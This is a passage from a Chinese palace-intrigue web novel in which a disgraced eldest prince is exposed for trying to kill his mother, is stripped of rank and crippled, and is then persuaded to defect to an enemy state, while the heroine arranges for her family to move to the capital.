韩贵妃的脸上都是悲哀,也不反抗了,就这样看着大皇子。 大皇子心软了一瞬,但他是要做大事的人,拖累他的,注定要被他清理干净,哪怕是自己的母亲。 有这么一个疯子母妃在,他这辈子注定当不了皇帝。 他怕自己再犹豫就下不了手,心下一决,手腕就要使劲,掐断韩贵妃的颈骨。 就在这个时候,外头传来急骤的脚步声,仿佛突然降临的大雨,越下越密集,还能够看到跃动的火光。 “启祥宫里进了刺客,快快捉拿。” 护卫们一边喊着,一边冲进了宫里。 大皇子心下一惊,赶紧放开韩贵妃,前院已经进了几十号人,举着腾腾的火把。 他只能从后院逃,就打开一扇窗,飞身跃出。 差点撞到一个人的身上。 后退两步一看,正是楚尧策,身后带了十余人,虽然人不多,却都是楚尧策身边最厉害的一流高手。 这些人一副严阵以待的样子。 太子脸上露出了一抹诧异:“竟然是大皇兄,大皇兄不是正在禁足之中么,怎么能擅自离宫,还成了启祥宫的刺客。” “胡说八道,你们说本宫是刺客,本宫就是刺客?”大皇子心里面恨得要死,也不知道他避开所有的眼目来启祥宫一趟,怎么就走漏了消息,他怎么就这样倒霉。 当然是我走漏的啊。 乔镰儿立在一旁,手上把着一件半个手掌那么大的血如玉,这东西本是大皇子所有,可以感知到大皇子的心理活动。 禁足不好好禁足,非要换上夜行衣出去,这不是要落人把柄,她不利用这个机会岂不可惜了。 她前面拿走了大皇子殿里的古玩,今晚刚要睡下,察觉到大皇子的意念波动,知道有情况发生,就立刻赶了来。 本来以为,大皇子只是去看看韩贵妃的处境,判断她是不是真的疯了,他违背禁足,擅自离宫,也够他喝一壶了,哪里想到,他居然要掐死自己的母妃。 这就有大戏看了。 “不是刺客,大皇兄穿成这个样子,很是惹人遐想呢。”太子淡淡道:“难不成,大皇兄看自己的母妃疯了,觉得她无用,想要杀了她?” 被说中了内心,大皇子脸色一变,但是想到对方没有证据,又变得硬气起来。 “本宫穿夜行衣,不过是太过思念母妃,但又处在禁足期间,所以不得已以这样的方式来看望她,我们母子情深,何错之有,我最多是擅离宫殿,不合规矩,太子又何必给我扣这么大的帽子,难不成,太子是这样想的,所以以己度人。” 这样的话,把太子给听笑了。 他只是拍了拍手,韩贵妃便被从宫殿里带出来。 “大皇兄说自己清白,本宫自然是相信皇兄,但韩贵妃脖子上的这一道掐痕又作何解释?难道是殿里的下人掐的,这不太可能吧。” 韩贵妃看到大皇子,就像看到了鬼,惊叫一声往墙角缩去。 第578章 皇帝也害怕 “不要杀我,不要杀我。”韩贵妃惊恐地摆着手:“我是你的母妃,我生你养你,你不要杀我。” 她本来就养尊处优,皮肉白嫩纤细,所以脖子上那一道五指掐痕分外的显眼,红中带青。 看到大皇子连自己的母妃都要杀,不管是启祥宫里的下人,还是太子带来的那些护卫,个个都露出了恶寒的神情。 像这样的人,即便有心谋夺皇位,可能够成为天下之主吗? 如果大皇子真的做了皇帝,那就是朝堂,还有天下百姓的祸害。 “母妃,你疯了,我是你的儿子,怎会有这样的心思,母妃神志不清,不要胡言乱语污蔑了儿子。” “母妃,你现在的情况需要静养,儿子来看望你,正是担心你,一定是儿子的这身衣服让你吓着了,但儿子处在禁足之中,这也是没办法的事情。” 说着就朝韩贵妃走去。 韩贵妃愈加的害怕,她在墙角躲无可躲,就用手抱住头,身体拼命地往墙里挤。 “不要杀我,母妃做错了,母妃改,昭儿不要杀我,呜呜呜。” 一只手颤抖地按着脖子,整个人失魂落魄,似乎下一刻就要丢了命。 皇帝不知道什么时候来了,身后只带着祈公公和两个护卫。 看着这一幕,脸上没有一丝表情。 大皇子察觉到了什么,转头一看,浑身一下子僵住。 皇帝作为天子,不怒自威,越是看不出情绪,越是可怕。 “父,父皇。”大皇子哆嗦地开口。 “你的母亲纵有千错万错,你也不该对她起杀念,虎毒不食子,反过来亦是如此。”皇帝缓缓道。 “你已经二十二岁,不再是任性妄为的年纪,这也不是道理,而是人伦,从人到畜生,都在遵循。” 皇帝的语气很平静,也不像是在说教,但却听得令大皇子极其不安。 皇子弑母,这是重罪,无可饶恕,如果皇帝坐实他要这样做,他的人生还有什么希望? 他赶紧跪了下来,跪行两步,抱住皇帝的大腿,仰头哀求:“父皇,昭儿没有这样做,昭儿是冤枉的,有谁的眼睛看到了,儿臣要杀害自己的母妃,不过是儿臣处在禁足之中,不如以前春风得意,有人趁着儿臣来探望母妃,想要借机做文章罢了。” “真是一朝落势万人踩。” 他转头看向太子,眼里都是讽刺:“三更半夜,太子不好好睡觉,时刻盯着我的情况,我不过是念母心切,太子也是有母亲之人,却不能体会我的这一份心意,反正要来污蔑于我,手足兄弟,你的良心过得去吗?” 太子对着皇帝躬身拱手:“禀父皇,儿臣已经睡下,听说启祥宫这边有了异动,生怕贵妃娘娘出事,皇兄就在禁足之中抽不开身,这才过来看情况。” “想不到过来一看,却是这样的情况。” 皇帝微微点头,表示他并不责备太子。 太子继续说道:“大皇兄还没有解释,韩贵妃脖子上的这一道掐痕是如何来的。” “我不知道,我进入启祥宫,母妃的身上就有这个痕迹,说不定是有人想要害母妃,知道有人进来了,匆匆离去。” 太子走到韩贵妃的身边,好好看了一眼脖子上的掐痕。 “可是本宫怎么看着,这一道掐痕,跟大皇兄的手正好吻合呢,而且是右手所掐。” “大皇兄的右手大拇指内侧,早年受过伤,有一道凸起的疤,所以掐到脖子上的位置,也要更加凹陷,更加红一些,而且这手的长度,与大皇兄也对得上。” 太子这样一番分析,让大皇子的脸色隐隐发白。 他以为矢口否认,就可以作为疑案不了了之,虽然他的身上还背负着疑点,至少也比坐实了好。 所有人的目光,都落在大皇子的手上,一看果然如太子所说。 而大皇子拼命地想把手往袖子里藏,也证明了他的心虚。 听到这里有大动静,不少后妃也来了,见大皇子生出弑母之心,还付诸行动,她们纷纷惊了一跳,然后都在庆幸,还好没有生出这样的祸害。 太子笑了一声:“若非我及时赶到,韩贵妃岂不是要横尸启祥宫,连亲生母亲都要下死手,大皇兄,你这样的想法很危险啊,更进一步,更严重一点,你又会如何做。” 皇帝的眼底多了一抹幽暗。 太子没有提到那一句关键的,但是他却想得到。 连生身母亲都杀,那么他这个做父皇的呢,哪一天让大皇子不满了,大皇子会不会想着要了他的命? 或者说经过上一次被罚,大皇子已经对他生出了裂痕也未可知,指不定想着什么时候报复呢? 这个夜晚,他才知道,大皇子的心怀有多么阴暗。 这么多年来,他竟然一直被蒙在鼓里。 如果前面对付乔家是党同伐异,今晚的事,纯粹就是作孽。 这样的孽种,岂能好好留着?养在身边,就是养虎为患。 看看形状疯癫惊恐的韩贵妃,再看看心如蛇蝎的大皇子,想到二人都曾是自己最宠爱的人,过去这么多年,他以拥有这一对母子为幸福,皇帝一瞬之间有一种恍惚茫然之感,好像做了一场大梦一样。 “太子觉得,朕应该如何惩罚大皇子。” 楚尧策没有想到,皇帝居然会问他这个问题,但他马上回过味来了。 皇帝也在怀疑他,想要趁着这个机会,扫除一个竞争对手,最终目的是惦记皇位。 不管怎么样,皇帝最在意的,终究还是皇位,除非到他死了的那一天,不然所有的皇子都要安安分分的。 他道:“大皇兄这些年来,对父皇和韩贵妃的孝道,宫里人都是看在眼里的,相信父皇也能切身体会,今晚的事,大概只是一时冲动,一时糊涂,并不代表大皇兄的秉性,再说韩贵妃也相安无事,还请父皇轻罚,略略惩戒即可,若大皇兄能吸取这一次教训,此事再也不提,一切如同往常。” 这一番话看起来是在为大皇子说话,也说得很恳切。 可是皇帝却提取到了几个关键词,孝道,切身,秉性。 第579章 贬为庶民,驱逐出宫 孝道,大皇子弑杀母妃,连人性都没有了,哪里来的孝道? 切身,哪一天那一道手印落到他的颈部,要么是一剑刺入他的心口,也算是切身了。秉性,连自己的母妃都要下毒手,这是但凡有点人性也做不出来的,只能说,天生就是一个坏种。 这样的人,如何能够轻判? 想到这么多年来的宠爱,最后竟然培养出来一个弑亲的孽种,皇帝只觉得心头一抽,都是不值得和懊恼,更有一种痛意,但很快,又转换成了滔天的怒恨。 他心意已决,拂袖转身离去,一边道。 “大皇子楚尧昭,意图弑杀生身母妃,违背天道人伦,从皇家玉牒除名,贬为庶人,今夜起驱逐出宫,太子,你来执行吧。” 大皇子不敢相信自己的耳朵,惊恐地睁大了眼睛,浑身像是被抽去所有的力气,瘫软在地,脸上是一丝血色也无,五官皮肉只剩下了颤抖,哆哆嗦嗦的,一个字都说不出来。 眼看着皇帝快要走出门去,他从地上爬起来,踉踉跄跄跑向皇帝。 “父皇,你不能这样做,我是你的儿子啊,你怎么能不要我,要把我变成一个平头老百姓,你怎么忍心。” 太子打了一个手势,大皇子就被按住了,眼睁睁看着皇帝消失在转角。 “不,我不要做普通人,我不要做庶人,我是尊贵无上的皇子,是皇上最宠幸的妃子所出,我生来就拥有至高的荣耀。” “所有的皇子,包括太子,都比不上我,在我的面前,他们黯淡无光,说是蝼蚁也不为过。” 大皇子不知道哪里来的气力,用力一震把按住他的护卫震开,他摇晃着身形,指着太子,哈哈大笑了起来,已经有疯癫之态。 “楚尧策,你现在高兴了?你处心积虑,就是为了看我有今日,你真的以为,这样你就可以畅通无阻坐上皇位了?你别天真了,只要我有一口气在,就绝不会让你得逞。” “这一次你害苦了我,以后的日子你最好当心一点,说不定什么时候厄运降临。” 太子面色淡淡,倒是看不出得意之色。 “大皇兄,父皇把你贬为庶人,是因为你犯下弥天大错,让你去民间静心反思,你若能好好悔过,将来能够重新上玉牒也不一定,何必破罐子破摔,把话都说绝。” “哼,你别装模作样了,每一句话说得冠冕堂皇,却是在把我往火坑里推,楚尧策,最恶毒,最擅长谋算的人不是我,而是你,我真是着了你的道了,此仇不共戴天。”大皇子咬牙切齿,眼里喷着火焰。 “大皇兄要恨我怪我,我也没什么可说的,不过父皇交代的事情,我得办好。”太子缓缓道:“把交泰殿封了,给大皇子留两身寻常衣物,十两银子,明天一大早,驱逐出宫,不得再踏入宫门。” 护卫们立刻行动了起来。 祈公公去取来玉牒,太子用朱红的笔将大皇子的名字划掉,备注了事由:弑母。 就算以后皇帝心软,想要恢复大皇子的身份,看到这两个字,心里面也不免会咯噔一下。 此刻,大皇子已经被结结实实捆绑起来,虽然皇帝已经下令,可是此刻,眼睁睁地看着自己拥有的一切失去,他感到有一把刀子在剜他的肉,把他的五脏六腑一块块切割下来,血淋淋的痛到无法呼吸。 “不,不——” 大皇子魂不守舍地喃喃,他的眼里突然涌动着骇人的冷光,炯炯逼人,把旁边的护卫都不由得吓退了半步。 突然他暴喝一声,全身青筋凸起,震断了身上的绳索。 利落拔出一旁护卫身上的剑,挥舞着凌冽的杀招,脚步转挪间,就朝太子刺来。 大皇子一身好武艺,前面并没有怎么反抗,他成功被绑住之后,太子便放松了警惕。 想不到大皇子突然来袭。 看来前面的隐忍,不过是为了这一刻猝不及防的发作。 眨眼间大皇子已经近在眼前,被他的剑气扰动,树干上不多的零散叶子也飘落下来,那些护卫根本来不及反应。 太子有些仓促地后退,一边去摸腰间的剑。 大皇子手上的剑,朝着他的心口刺来,不偏不倚。 他的狂笑回荡在半空。 “楚尧策,你害苦了我,那就给我陪葬好了。” 太子的剑都来不及举起,心下大为不妙,额头上浸出了一层细密的冷汗。 他眼睁睁地看着,大皇子的剑离自己的心口越来越近,刺破衣服,刺入皮肉。 正要往里进几寸,突然大皇子一个踉跄,不知道绊到了什么,一个扑蹬摔倒在地上,所有的杀招都撤去,变得无比狼狈, 干了这件事,乔镰儿拍拍手,走到一旁去。 她前面之所以没有阻止,是为了让太子受到一些损害,这样一来,太子就有理由对大皇子下狠手。 不然,大皇子一身武功,到了外面,对于她和乔家来说,是一个不安定的因素。 护卫们立刻按上来,将大皇子按得结结实实,这一次干脆用铁链子捆绑。 太子心口中了一剑,虽然只是刺破皮肉,但是鲜血很快染红了衣服。 他的眼眸染上了一抹晦暗:“楚尧昭,你今夜弑杀自己的母妃,弑杀自己的兄弟,对上不尊,对下不友不恭,本宫身为东宫太子,也该表示一下本宫的态度。” 大皇子也不知道,他明明已经快要杀了太子,了结这个心头大恨,为什么会突然被绊倒? 功亏一篑,心里面怒意沸腾,懊恼又不甘。 仿佛老天偏偏就是要眷顾太子一样。 他被按跪在地上,拼命仰着头,发出凄厉嘶哑的嚎叫。 “啊——” “为什么?为什么会这样,老天爷,本宫做错了什么,你对本宫如此的不公平。” “天道不公啊,我好恨啊。” “本宫不是什么好人,没错,有的人却是披着羊皮的狼,老天你瞎了眼啊。” 楚尧策不理会他说了什么,只是吩咐。 “把楚尧昭的琵琶骨给废了,这一身武功,留着不是什么好事。” 第580章 事成要求:乔家人都迁到京城 第二天一大早,大皇子被贬为庶人,又废掉武功,扔出皇宫的事情,在京城飞快传遍。 “这是一个畜生,连自己的母妃都要杀,被太子撞了个正着。” “不会吧,身为皇子,竟然这样丧心病狂。” “这就叫衣冠禽兽,金玉其外,败絮其中。” 乔镰儿和太子在西郊马场吃茶。 太子昨晚受了伤,但仅仅是皮肉,包扎一下就好了。 大皇子抱着让太子必死的决心,在场所有人都是看在眼里的,所以,对于太子废掉大皇子的琵琶骨,皇帝并没有什么意见。 只不过,太子心中存了一个疑问,品了几口茶之后,欲言又止。 昨晚亥时,有人潜入宫中给他递了一张纸条,上面写着,大皇子会有异动。 他格外留了一个心眼,想不到有这么大的收获。 递纸条的人,虽然蒙着面,他还是能够认出来,是裴家的二公子。 那么他此来,一定是乔镰儿的意思。 前面的事情都可以解释得通,只是大皇子举着剑刺向他的时候,被莫名其妙绊了一脚,主动变成了被动,也救了他的命。 他想了一个晚上,总觉得这不是偶然。 “殿下有什么想说的就说吧。”乔镰儿道。 看太子憋不住又要憋的样子,她自己都感到难受。 “昨晚,大皇子已经被捆了起来,突然挣脱了绳索暴起,要来刺杀本宫,那剑略略没入一寸,大皇子却不小心绊倒了,本宫才能够脱身。” “说明太子殿下吉人自有天相,关键时刻,会有老天庇佑。” “即便如此,可是大皇子绊倒的地方,并没有什么障碍物。”太子决定,既然已经开了这个口,那就问一个清楚。 “请问太子殿下,当时大皇子是什么样的状态。”乔镰儿道。 太子回忆了一下:“形状疯癫,极为愤恨和不甘。” “这就对了,一个人在这样的情况下,首先情绪就不平稳,肢体也难免不协调。” 乔镰儿说这话的时候,太子在不动声色打量她,倒是看不出什么来。 转念一想,又觉得自己想法太多,当时大皇子的状态的确不正常,脑子里一片混乱,别说是摔那么一跤了,就算是举剑自杀,也不是不可能的事情。 “是本宫多心了。”太子歉意地举起杯盏,对乔镰儿一敬。 “殿下只用关心自己的目标能不能达到,其他的细枝末节,不必去在意。” 太子若有所思,他的确有点怀疑乔镰儿,可就算乔镰儿身上有什么异能本事,她也没有来损害他的利益,反而帮了他的大忙。 这对于他来说,是好事啊。 这种事情他应该藏在心底,而不是宣之于口,免得给她带来麻烦。 想通了这一点,太子释然了。 面上的笑意浅如春风:“郡主高见。” 这一次解决掉了大皇子,少了这么一个和他作对的心腹大患,他的心情当然很不错。 看着乔镰儿,很是诚恳道:“乔姑娘,你帮了我的大忙,若有什么要求,我会尽力为你达成。” 虽然收拾大皇子,也是乔镰儿自己的心愿,可是太子开了这个口,她若是不用这一次机会,岂不是有点可惜。 本来,她和太子就是利益合作的关系,我为你办成事情,你也回馈于我。 她细长的手指,缓缓抚着杯盏,沉思了一会儿,提出一个要求。 “我还有一部分家人在大田村,主要是大堂哥和二伯父他们在那里的驻地担任校尉,所以他们离不开,若是能够来到京城团聚,我心中对太子感激不尽。” 虽然说安土重迁,二老都有留在村子里终老百年的心愿,但她很轻易就能把他们送回大田村,只要他们想回去,随时都不是问题。 比起来,他们更愿意一大家子在京城相聚,平时可以去逛街散心,去戏园子里看戏,而且,京城每逢各种节日活动可丰富了,日子会变得多彩缤纷。 如果说二老留在大田村是一种平和的心态,那么在京城,时常是满怀喜悦,笑口常开。 至于大用哥,二伯他们,对他们来说,京城是一个更大的施展平台,能够更好地发挥他们的能耐。 凌音嫂子,二伯母,有的是大铺楼给她们管,有的是老板娘给她们当,风头无限。 一家子整整齐齐在京城,这是几年前,乔镰儿的心愿,而且她两地奔走,也要时间和精力。 太子是很有诚意的,那她就提出来,若能够达成,那就是皆大欢喜。 楚尧策陷入了思索:“青枫原驻地,已经没有名额容纳乔家人。” “是的,不然我不会等到现在,虽然我想让他们来京城,但这不能以牺牲他们的前程为代价。” 大用哥,二伯,小猛哥来到京城,只能是闲置,或者在其他的部队求一个小职,当然不如在关宁铁骑驻地那样威风。 太子明白了乔镰儿的意思,其他的乔家人要来京城,但是得到的,不能比现在拥有的还要差,不然不值得来。 但乔镰儿帮了他的大忙,他自然不会亏待乔家人的梦想。 他道:“如果我向父皇请命,把乔家人调到京城来,反而有点明目张胆,在父皇的眼里,等于坐实我和乔家走得太近。” “所以,最好寻一个迂回之计。” 乔镰儿灵机一动:“大堂哥和二伯的上头,是立过战功的关将军,如果一起调来京城呢。” 关将军一家也来京城的话,也是好事一桩,那两个孩子在京城长大,以后眼界都不一样。 太子微微拧着的眉头舒展开来:“那一位关将军本宫知道,他是立过不小的功劳,在京城的兵部,也有建档可查。” “这么说来就好解决了,那就申请整个部队异地调换,当然这件事情不是本宫来做,会有人去做,郡主等着消息吧。” 部队异地调换,是很常见的事,尤其是这种不大的部队,兵部就可以主导决定,皇帝的面前,稍微提一下,作为日常的差事上报即可。 第581章 宋瑞儿支招:大殿下往北去 乔镰儿暂时没有跟乔家提起部队调换的事,事未成,不可宣之于口。 但她相信太子能够办成,想想一家子就要团聚,心中一片安慰。 大皇子被扔到大街上。 太阳明晃晃地刺着他的眼皮,他费力睁开眼睛,想要支撑着坐起身来,发现双手没有一点力气,肩胛处传来一阵剧痛,仿佛裂开了一样,满鼻子的血腥味。 低头一看,衣服上都是血。 想到自己的琵琶骨被废,武功尽失,大皇子咬牙切齿地发出几声呻吟,脸色变得苍白。 旁边围了一圈人,对着他指指点点。 “听说是宫里的皇子,犯下滔天罪孽,被废掉武功贬为庶人,永远不得回宫。” “贬为庶人,那得什么罪啊,不会是通敌叛国吧。” “据说是要杀掉自己的母妃。” “什么?这也太丧心病狂了吧,畜牲才能干得出来这种事情。” 听说是弑母,周围人的目光变得不同起来,带上了一种深深的厌恶。 “应该杀头才对,我们庶民可不会造这样的孽,他有什么资格成为我们的一员。” “就是。” 有胆子大一点的,向前一脚把好不容易坐起来的大皇子踹倒。 有的往他身上扔瓜果石头,有的往他身上吐口水。 “连自己的母妃都杀,不配活着。” 楚尧昭被砸得头破血流,昨晚他还是尊贵的大皇子,现在却连街边的乞丐都不如。 从天上到地狱,不过是一夜之隔。 而这一切,都是拜乔镰儿,拜太子所赐,他恨不得拆了他们的骨头,喝他们的血。 可是现在,他成了一个废人,什么都做不了。 大皇子仰首,发出阵阵悲嚎,双眼里一片赤红。 旁边围着的人以为他疯了,虽然他成了残疾,已经没有什么威胁,他们还是一哄而散跑开。 一个人走到大皇子的身边,将他扶起来,眼含热泪:“殿下,殿下,您受苦了。” 大皇子看到是从小跟随自己的护卫铁钩:“你怎么来了,按照规定,你们要被重新分配。” “殿下成了这个样子,属下怎么会愿意跟随别人,便偷偷从宫里跑出来了,属下身份卑微,找不着人,也不会有人在意。” 大皇子冷笑一声:“你执意跟着我,可我是一个连自己母妃都要杀掉的人。” 铁钩一脸的坚定:“那是韩贵妃娘娘无用,无用的人就不该活着拖累人,属下成为殿下身边有价值的人,就无须有这个顾虑。” “可我现在,已经没有任何价值。”大皇子一个字一个字从牙缝里挤出来。 “殿下出身皇室,是天龙人,而且一身才智,只要有一口气在,就有翻盘的机会,这就是殿下的价值。” 铁钩扶着大皇子离开。 皇子虽然没有实权,但是身份地位摆在这里,有的是巴结逢迎的人。 因此,大皇子名下的田宅产业不少,但是为了避免有人来查抄,便去了南郊一处偏僻的宅院。 这是一个九品芝麻官巴结的,大皇子根本就看不上,都懒得挂在名下,没想到现在却成了自己的避难之所。 院子里荒草丛生,一个瘦削的少年身影负手背对门外,仿佛早就等候多时。 听到外面的脚步声,少年转过身来,对被铁钩扶着的人行了一礼。 “草民拜见大殿下。” 这是一个十三岁左右的少年,脸皮似乎被什么拉扯着,看起来有点不自然。 大皇子看了铁钩一眼,铁钩也是一脸的疑惑。 警惕道:“这位小兄弟,你怎么知道这里,你来做什么。” “我听说大殿下出了事,便想着为大殿下尽一份微薄之力,找人问到了这个地方,特来此候着。” 如今的宋瑞儿,和书院的权贵子弟打成一片,想要获取什么消息,并不是一件难事。 “可是本宫从来没有见过你,又凭什么相信你。” 宋瑞儿道:“大殿下不认得草民,但一定认得草民的父亲,庞达。” 大皇子回过味来了,也放下了戒心,真的是他这一边的人。 现在他这样的处境,能有一个帮忙的人算一个。 这少年虽然年纪小,但看起来有几分聪明,说不定真的有法子帮他度过这一次难关。 进了厅堂,大皇子道:“你有什么想法,说吧。” 宋瑞儿先从袖子里面摸出一瓶药:“听说大殿下的琵琶骨受伤了,武功也暂时被废,我特地为您求来此药,这种药能够让伤口飞快愈合,只要时日不太长久,说不定武功也能恢复。” 大皇子眼睛一亮,接了过来。 “有人容不下大殿下,迟早会找到这个地方来,斩草除根,所以大殿下的伤一好,就要立刻离开这里,如此才能保全身后。” 大皇子阴沉着脸:“可是本宫要往哪里去。” 宋瑞儿早就有了主意,看了铁钩一眼。 铁钩立刻出门去,并把门带上。 “大殿下往北方去,一直到一个强大的国家,跶驽国。” 大皇子不解:“我去跶驽国做什么,那可是大泽国的死对头。” 他虽然不是什么好人,但从小生长于大泽国的皇室,享尽尊荣富贵,最多是想要扫清将来登基路上的障碍,要说别的心思还真没有。 宋瑞儿压低了声音:“可是如今,大殿下就连大泽国也待不下去了,不是吗?最重要的,永远是活着,只有活着,才有希望拥有一切。” “若是大殿下愿意投靠跶驽国,把汉人地区的排兵布阵之法,耕种打铁经验之类,以及一些机密传过去,想必跶驽国对大殿下感激不尽,一定奉为座上宾。” 大皇子听得心惊肉跳,这些事情他想都不敢想,想不到这个十三岁的少年,竟然说得这样自然而然,一点负担都没有。 这样的冷血无心,无义无国,连他都自叹不如。 可这的确是他的退路了,留在这里,只有死路一条。 他眯起了眼睛,眼底晦暗复杂,他如今到这个境地,这其中,不仅仅有太子的推力,还有皇帝的无情。 既然如此,他还需要顾及什么? 第582章 里应外合,何愁大计不成? 宋瑞儿的这番话,打开了大皇子心底那一扇更幽暗的门,一时之间,让他有一种说不出来的激动。 天无绝人之路,或许这一条路,对于他来说是更好的选择。 大泽国有太子,向来死死压着他一头,他此番冒险,反而落不得好。 还不如曲线去挽救他的前程。 “那本宫总有一天是要回到大泽国的吧。”他阴恻恻地说。 “当然,到时候我就是大殿下的内应,我会好好读书,争取考中举人,进士,在朝中占据一个重要的位置,这都需要时间,也希望大殿下在跶驽国,静心蛰伏,不断强大自己,到时候利用跶驽国的力量攻入,我们里应外和,何愁大计不成。” 大皇子眼里有光采闪烁了一下。 他重新审视站在眼前的少年,这么小的年纪,就有这样的谋算,虽然过于歹毒了一点,可以说是没心没肺,但他有信心,能够掌控这一条毒蛇。 “好,你若是助我成大业,我绝对不会亏待你,会让你和你的子孙万代,享受一人之下万人之上的尊荣。” 宋瑞儿得到这一句承诺,浑身都来了劲儿。 “大泽国的动静,草民会想办法传递给大殿下,所以,请大殿下安心待在跶驽国,等到时机一到,大殿下和草民,都会得偿所愿。” 太子亲自让人把大皇子扔到大街上,本来是想着,大皇子身边已经无人可用,又被废了双臂,会在大街上承受好些时日的嘲讽。 大皇子犯下的罪孽,已经有人散播了出去,一定会被千夫万民所指。 可是第二天就接到禀报,大皇子不见了踪影。 太子的人找寻了几圈,仍然没有下落,又去查了一下大皇子名下的产业,一无所获。 “原本大殿下身边的侍卫全部进行分配,才发现少了一个人,铁钩,从小跟着大殿下,是近乎暗卫的存在,所以一开始没有察觉,应该是他把大殿下带走了。” 有人跟太子禀报。 太子皱起了眉头,他是打算好好羞辱大皇子一番之后,将他杀了扔到乱葬岗,以绝后患。 想不到反而给了大皇子被救走的机会,实在是疏忽。 说不定大皇子就躲在哪里,暗暗积蓄力量,发育壮大,时刻想着他死。 太子讨厌这种敌暗我明的感觉,加派人手,不放过每一个角落地搜寻。 五天后,两匹快马向北驶出,风驰电掣,没有任何停留的余地,很快就不见了踪影。 而搜寻在第二天结束,就连郊区的小院都找过了,并没有任何有效的信息。 茶室里,茶香袅袅,乔镰儿抿下一口,看了一眼对面人的脸色。 “太子似乎有心事?” “大皇子不见了,我的人找了几天。”太子微微摇头。 “虽然他成了庶民,想去哪里是他的自由,但我相信,以大皇兄的性子,绝不甘心只做一个庶民,他恨透了我,一定会想方设法报复回来,他还有更大的目的,就是未来皇帝的宝座。” “我自是不怕他,但我不喜欢麻烦。” 乔镰儿道:“我曾经有一个敌人,也是让他跑掉了,当时大半个边防驻地都出动,翻山越岭,找过无数大城小城,都找不到他的身影。” “后来才知道,他到了京城,我们乔家也到了京城,他数次针对乔家,头上还有了靠山,比以前要强大许多,可那又怎么样,最终他等来了斩首的结局。” 乔镰儿语气很平静:“有的人终究会得到报应,只不过是早晚的事情而已,不管是因为什么原因逃脱,那都是天意。” “而且太子殿下不觉得,这样更有趣吗?有一个人在暗中盯着,伺机而动,反而督促殿下不断长进,等于是一股鞭策的力量,到时候较量,就看鹿死谁手,那才叫一个刺激呢。” 太子的斗志被激发出来,眼里神采奕动,带上了一抹锐气。 他生来是皇子,又是太子,多少手足兄弟惦记他的位置,就算不是大皇子,也还有别的皇子。 唯独他强大,不可撼动,才是根本。 本来还有些心结,跟乔镰儿一番交谈,只觉得醍醐灌顶,一下子就想开了。 在登上皇位之前,他就是要不断警惕,不断地斗。 眼下高门贵族人心归向,正是他崛起的机会,而大皇子声名狼藉,在口碑上就失了先机,更何况还是一个废黜的皇子。 太子自顾自笑了笑,是他杞人忧天了。 部队异地调换的事情,乔镰儿暂时没有跟家里人说。 事成之前,不宜宣之于口,再说全家搬迁是大事。 但她相信,太子办这件事,是完全没问题的。 三天后,乔溪儿产下一女,七斤,白白胖胖的,一双大眼睛又黑又亮,像一对葡萄似的,很是招人喜欢,取名牧冉曦,有晨曦冉冉升起的意思,曦,又与乔溪儿的溪字同音。 乔镰儿已经把乔家二老接了来,乔老太抱着冉曦笑得合不拢嘴:“这可是牧家的大小姐呀,也是我老婆子的外曾孙,有福气咯。” 牧星月好好想了想:“那我就是冉曦的姑姑了。” “是呢,星月才八岁,就当姑姑了。”乔枝枝笑道。 牧星月自己都还在玩拨浪鼓,每天梳着羊角辫,拿着拨浪鼓咚咚咚地摇着,只要听到这声音就知道是她来了,很是活泼可爱。 这下子她把拨浪鼓放到牧冉曦的怀中:“呶,冉曦,姑姑把最喜欢的玩具给你了,作为你的出生礼物,上面还镶着玉呢,把手上绑的璎珞是我自己打的,你不要嫌丑。” 牧星河守在乔溪儿的身边,对牧星月道:“哥哥再给你买一个。” 乔溪儿靠在床头上,神情虚弱疲倦,却是一片温柔和欣慰,女儿顺利出生,那样的健康,到现在,一颗心终于完全落了地。 第一个孩子她没有保住,第二个孩子总算是平安地生下来了。 乔镰儿琢磨着,牧星河毕竟是姓牧,大姐嫁到了牧家,如今又有了孩子,虽然这里永远有他们的房间和落脚处,但另置一处房院,作为他们自己的家,才是长远的打算。 第583章 好消息,部队可以调换到京了 于是她道:“大姐,姐夫,如今你们是完整的一家三口了,我打算把小院送给你们,作为冉曦出生的见面礼,以后你们也有自己的空间,想来这里就来这里,想在小家就在小家。” 她说的小院,是刚到京城的时候,手上没有太多的钱,花五千两买下的,距离大街近,乘坐马车只用一刻钟,虽然住一大家子显得狭小一些,但是住一家三口,再配上几个仆人,绰绰有余了。 牧星河很是过意不去:“可是,我们已经拿了镰儿太多的东西,怎么好再要一处宅院。” 乔溪儿的名下,就有五处好地段铺子,这是实打实送给她的。 手上的零花钱,就有三万两出头,也是乔镰儿给的。 乔家人,个个腰包鼓得很。 “一家人不说这些。”乔镰儿道:“你们也有需要独处的时候。” “再说,这个小院子才值五千两,不算什么。” 夫妻俩满怀感动接受。 乔镰儿带人去小院里把那些牡丹瓷盆抱走,这是三年前,裴时玖送给她的,每年都开得很好。 这个院子也是裴时玖亲自规划布置,颇有意境和雅趣。 现在是二月,开了春,天朗气清,树枝上抽发了嫩叶,放眼望去,院子里点点黄绿,景物开始欣欣向荣。 乔镰儿已经满十五岁,头发用簪子绾起来,垂下一部分如墨青丝,少了幼女的稚气,多了几分成熟大气。 以前的她,梳着两个发髻,总给人一些少年老成的感觉,现在换了装束,外貌和言行相得益彰,倒是十分匹配。 裴时玖不知道何时来到一旁,眉目间带着一抹笑意:“院子是送人了,没有忘记我送的牡丹就好。” 乔镰儿道:“往前走,事情总不会一成不变,我会留下值得纪念的东西。” 裴时玖心头一动,转头看向她,以前她尚未及笄,是幼童的模样,他总是克制自己心中的意动,生怕亵渎了她。 如今她已经是一名成年女子,给他完全不一样的感觉。 只是,她也才刚刚成年而已。 他不会过于打搅她。 裴时玖也亲自抱起一盆。 每个房间的门前都有一个小院子,这些牡丹就安置在小院子里。 大皇子失势失踪之后,乔家的日子平静了下来。 大家闲暇,就来照看刚刚生产完的乔溪儿,陪她唠嗑谈心,乔溪儿心情舒畅,恢复得也很快,一个月后,可以下床出门了。 她自从怀孕以后,就一直待在院子里,这一待就是一年。 看着外头满眼新绿,柳枝儿飘扬,不少花儿已经绽放开来,牧星河陪在一旁,乔溪儿脸上带着恬静的笑,温馨而满足。 牧星河轻轻握着她的手,今天他休沐,以前他是从来不休息的,为了陪伴乔溪儿,打破了这个习惯。 为了安全起见,二人的身后,跟了八名精良护卫,这是乔镰儿跟裴二爷要来的人,擅长应对京中突发情况。 “溪儿,辛苦你了,这一年来你很不容易。”牧星河道。 “孕育本来就是损耗生命的事情,我更能体会到我娘的不容易。”乔镰儿道。 “看到冉曦脸上的笑容,她那么安静乖巧,我觉得一切都是值得的。” 